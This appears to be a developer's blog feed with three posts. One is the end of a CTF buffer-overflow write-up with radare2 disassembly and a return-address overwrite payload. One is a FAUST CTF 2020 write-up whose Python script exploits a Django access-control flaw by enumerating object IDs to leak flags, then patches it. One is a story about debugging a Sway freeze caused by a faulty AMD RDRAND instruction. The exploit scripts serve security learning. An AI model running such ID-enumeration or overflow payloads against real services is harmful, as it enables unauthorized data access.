p = process('./98972d672b0bcd184c0c6769bb083863-main')
sys.stdin.readline()
sol = b'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ'*2
p.sendline(sol)

After running this, we can get the PID and start radare with r2 -d <pid>. We can then proceed with seeking to main with s main, opening up visual mode with V and switching to the disassembly view with p. Looking closely, we can see the call to the function that we are interested:

0x00401270 e89bffffff call 0x401210

Let’s go there with s 0x401210. The entire disassembly can be seen here:

| 0x00401210 55 push rbp
| 0x00401211 4889e5 mov rbp, rsp
| 0x00401214 4883ec70 sub rsp, 0x70
| 0x00401218 488d4590 lea rax, [var_70h]
| 0x0040121c 4889c7 mov rdi, rax
| 0x0040121f b800000000 mov eax, 0
| 0x00401224 e847feffff call sym.imp.gets ;[1] ; char *gets(char *s)
| 0x00401229 488d4590 lea rax, [var_70h]
| 0x0040122d 4889c7 mov rdi, rax
| 0x00401230 e8fbfdffff call sym.imp.puts ;[2] ; int puts(const char *s)
| 0x00401235 90 nop
| 0x00401236 c9 leave
| 0x00401237 c3 ret
| 0x00401238 0f1f84000000. nop dword [rax + rax]

To find out where we are going to return to, let’s continue running the program until after the puts call, at the leave instruction, with dcu 0x00401236. Now press enter in the running Python script to have it send the alphabet. You should then see the message hit breakpoint at: 401236 in radare. Press Enter once to exit out of the radare prompt and press P to switch to a hex view.

The return address is pointed to by rbp, so seek there with s rbp. Here we see:

0x7ffe6db1ab70 4343 4343 4444 4444 4545 4545 4646 4646 |CCCCDDDDEEEEFFFF| ; rbp
0x7ffe6db1ab80 4747 4747 4848 4848 4949 4949 4a4a 4a4a |GGGGHHHHIIIIJJJJ|
0x7ffe6db1ab90 4b4b 4b4b 4c4c 4c4c 4d4d 4d4d 4e4e 4e4e |KKKKLLLLMMMMNNNN|
0x7ffe6db1aba0 4f4f 4f4f 5050 5050 5151 5151 5252 5252 |OOOOPPPPQQQQRRRR|
0x7ffe6db1abb0 5353 5353 5454 5454 5555 5555 5656 5656 |SSSSTTTTUUUUVVVV|
0x7ffe6db1abc0 5757 5757 5858 5858 5959 5959 5a5a 5a5a |WWWWXXXXYYYYZZZZ|

Which means that this function will return to CCCC, but that’s not a valid address. However, this tells us exactly where to write our address. Our new input should look as follows:

AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZAAAABBBB<address>

The address we want to use is 0x4011a0 (found either with radare or as output from the program) which is b'\xa0\x11@\x00\x00\x00\x00\x00' in Python hex (which can be found using pwntools’s p64 with p64(0x4011a0)). Now all you have to do is write a script that outputs exactly that (or any other 120 bytes plus the address) and you get the flag.

import sys
sys.stdout.buffer.write(b'a'*120 + b'\xa0\x11@\x00\x00\x00\x00\x00')

This is when Unix time starts. ↩︎
This depends on your solution, if you use %s to get rcx it could point to an invalid memory location. Using something like %p to get rcx should work. ↩︎

Mars University - FAUST CTF 2020 Writeup

Sun, 26 Jul 2020 00:00:00 +0000

FAUST CTF 2020: Exploring Planet Mars was my very first experience at an attack & defense CTF and I really enjoyed it. This writeup is coming out quite late, but I wanted to write about one of the problems I helped in solving, alongside Ninjaclasher, and the rest of my team.

Description

marsu was a service that consisted of a Django web server which allowed users to create accounts, projects, and “pads” within these projects – sort of like smaller notes within a larger notepad. When viewing a project, all the pads and their content were shown. These pads contained the flag which the gameserver added and could only be viewed through a project.

Below is the code that creates a project and adds the pads the user selected into it. Keep in mind that the pads have already been created as Django models and there’s nothing special or vulnerable there.

@ensure_csrf_cookie
@login_required
def create(request):
 if request.method == 'POST':
 form = NewProjectForm(request.POST)
 if not form.is_valid():
 return render(request, 'project/create.xml', {'form': form})

 # TODO Step 2: confirm inviting new people
 proj = Project()
 proj.title = form.cleaned_data['title']
 proj.save()
 proj.users.add(request.user)
 proj.save()
 for pk in form.cleaned_data['pad']:
 pad = Pad.objects.get(pk=pk)
 pad.project.add(proj)
 pad.save()

 return HttpResponseRedirect(reverse('project:view', args=(proj.id,)))
 else:
 form = NewProjectForm()
 return render(request, 'project/create.xml', {'form': form})

Exploitation

The exploit comes in when the program loops through all added pads and attaches them directly to the project. There’s no validation that these pads aren’t already in other users’ (such as the gameserver’s) projects, meaning one can simply loop through and try to add every single pad to a new project in an attempt to leak the flag. Our exploit does the following:

Create an account
Create a new project with a single pad with pk=160¹
Find the flag in the response’s content
Create a new project with a single pad with pk+=1
Repeat
Stop if there’s a gap of 30 non-existant pks

#!/usr/bin/env python3

import re
import requests
import secrets
import sys

BASE_URL = 'http://[{ip}]:12345/'.format(ip=sys.argv[1])
req = requests.Session()

reflag = re.compile('(FAUST_[A-Za-z0-9/+]{32})')

recsrf = re.compile('<input type="hidden" name="csrfmiddlewaretoken" value="(\w+)">')
try:
 csrf = recsrf.search(req.get(BASE_URL + 'accounts/register').content.decode()).group(1)
except AttributeError:
 raise SystemExit

username = secrets.token_hex()[:10]
password = secrets.token_hex()[:25]

try:
 a = req.post(
 BASE_URL + 'accounts/register',
 cookies={'csrftoken': csrf},
 data={'csrfmiddlewaretoken': csrf, 'username': username, 'password1': password, 'password2': password}
 )
except Exception:
 raise SystemExit
else:
 if a.status_code != 200:
 raise SystemExit


i = 160
last_flag = 0
failed = 0
while failed < 30:
 v = req.post(
 BASE_URL + 'p/create/',
 cookies={'csrftoken': csrf},
 data={'csrfmiddlewaretoken': csrf, 'title': secrets.token_hex(), 'pad': '[{}]'.format(i), 'people': ''}
 )
 a = reflag.search(v.content.decode())
 if v.status_code != 200:
 failed += 1
 else:
 failed = 0
 if a is not None:
 print(a.group(1))
 last_flag = i
 i += 1

print('Last flag: ', last_flag)

This exploit script can actually be improved significantly by only trying the last few² pks since we only care about new flags. Trying to add all the pads at once instead of going one at a time could also be done to improve speed and is what another team did.³

Patching

Now that we know the exploit, we need to come up with a patch. We made it a little over complicated, mainly because we didn’t want to risk losing SLA points while also preventing attacks. Our patch was to change the contents of the for loop as such:

 for pk in form.cleaned_data['pad']:
+ try:
- pad = Pad.objects.get(pk=pk)
+ pad = Pad.objects.get(Q(project=None)|Q(project__users__in=[request.user]), pk=pk)
+ except Pad.DoesNotExist:
+ continue
 pad.project.add(proj)
 pad.save()

This meant that only pads which didn’t belong to a project or those that belonged to a project that the user also belonged to could be added to the new project. From saarsec’s writeup it looks like simply checking that the project was None was just as effective. The try-except was completely unnecessary and actually a bad idea because it could let attackers add every single pad at once and only existing ones would get accepted, leaking everything at once – bad thought on my part.

This was the value of pads that had already been added when we began the exploit. ↩︎
The last pk can be found by creating a new pad and looking at its pk. ↩︎
This can be seen in saarsec’s writeup here. This is also susceptible to spamming pads which would put the valid flags out of the 20 pad checking range. In practice, this either never occurred or had little impact. ↩︎

How a Bad Random Number Generator Froze Sway

Thu, 21 May 2020 00:00:00 +0000

Several months ago, I made the decision to switch from the i3 window manager, which uses the X display protocol, to Sway, which uses the new Wayland protocol. This decision was based off the fact that I display-specific workspaces were quite buggy in i3 and because I wanted to try something new. At first it went well, really well in fact; workspaces worked perfectly and any tearing I used to have was nonexistent.

All was going well until the last week of April after I updated Sway and rebooted. Sway instantly froze on the startup and kept keyboard input. After some investigation, I found that Waybar seemed to be the problem. Removing it from the config let Sway startup and work normally… or so I thought. Randomly, Sway would completely freeze, the same way that it did on startup, so it was debug time.

Investigation

While getting a Sway debug log was quite trivial,¹ it didn’t yield much.² The ideal solution would be to find out where Sway is hanging with a core dump, but this posed difficult to do because both Sway and keyboard input was now frozen. Thus, I resorted to the SysRq shortcuts. These shortcuts are implemented in the kernel to perform basic, yet important, actions in cases like freezes. Below are some of the most common³ ones:

Shortcut	Name	Description
`Alt+SysRq+r`	Unraw	Take control of keyboard back from the display server.
`Alt+SysRq+e`	Terminate	Send `SIGTERM` to all processes, allowing them to terminate gracefully.
`Alt+SysRq+i`	Kill	Send `SIGKILL` to all processes, forcing them to terminate immediately.
`Alt+SysRq+s`	Sync	Flush data to disk.
`Alt+SysRq+u`	Unmount	Unmount and remount all filesystems read-only.
`Alt+SysRq+b`	Reboot	Reboot

— Everything beyond here was aided by the generous help of Xyene. Thank you, if you ever read this.

So, to get a core dump of the sway process, I used the unraw shortcut followed by switching to a tty and getting a core dump:⁴

gcore <sway pid>
gdb /usr/bin/sway <core file>
bt full

Here’s the important part, really just the first line:

0 0x00007fcbb1012c6f in json_c_get_random_seed () at /usr/lib/libjson-c.so.5
1 0x00007fcbb1011fd6 in () at /usr/lib/libjson-c.so.5
2 0x00007fcbb100c713 in json_object_object_add_ex () at /usr/lib/libjson-c.so.5
3 0x0000561dc53e42ff in ipc_json_describe_bar_config (bar=bar@entry=0x561dc6f0cbb0) at ../sway/sway/ipc-json.c:1013
 __PRETTY_FUNCTION__ = "ipc_json_describe_bar_config"
 json = 0x561dc74da8b0
 gaps = <optimized out>
 colors = <optimized out>
 tray_bindings = <optimized out>
 tray_bind = <optimized out>
# Truncated...

What this revealed was that Sway was actually freezing because of json-c, a JSON parsing library that Sway uses. Looking at the source code of json-c, it can be seen calling the json_c_get_random_seed function in an infinite loop while checking if the result is -1. And so, we found out where json-c is freezing, but the question of why remains.

Delving into json_c_get_random_seed, another function called get_rdrand_seed is ran to try to get a random number using the RDRAND cpu instruction. This seems fine,⁵ except when you take into account the fact my CPU is an AMD Ryzen 5 3600X… which sometimes has a horribly malfunctioning RDRAND instruction that always returns 0xFFFFFFFFFFFFFFFF (which is -1). This isn’t normally an issue because very few processes attempt to use RDRAND without checking if it fails, often relying on /dev/urandom instead. Both the linux kernel and systemd check to make sure RDRAND returns a sane random number.

Conclusion

So, to finally fix this glorious bug, Xyene introduced a check into the has_rdrand function (which checks whether to use the RDRAND instruction later on) that disables RDRAND if it returns the same value 10 times in a row. The important section can be seen below:

// Some CPUs advertise RDRAND in CPUID, but return 0xFFFFFFFF
// unconditionally. To avoid locking up later, test RDRAND here. If over
// 10 trials RDRAND has returned the same value, declare it broken.
_has_rdrand = 0;
int prev = get_rdrand_seed();
for (int i = 0; i < 10; i++) {
 int temp = get_rdrand_seed();
 if (temp != prev) {
 _has_rdrand = 1;
 break;
 }

 prev = temp;
}

This leaves the chances of disabling a correctly functioning RDRAND instruction a whopping 0.00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004% (4.68e-95%).

A follow up patch was also required because of some inline assembly that tried to get the cpuid bit which can be seen here.

The associated Sway issue for this blog is swaywm/sway#5290 along with json-c/json-c#489 and json-c/json-c#590 for the json-c issues.

Just use sway -d 2> log ↩︎
See here. ↩︎
These are the shortcuts needed for a safe reboot, taken from the Arch wiki. ↩︎
This also required a build of Sway which didn’t strip symbols. This was done by using the sway-git package off the AUR. Core dump available here. ↩︎
Now whether using RDRAND here is a good idea, I’m not really sure. All I know is that systemd includes a paragraph explaining why it does. ↩︎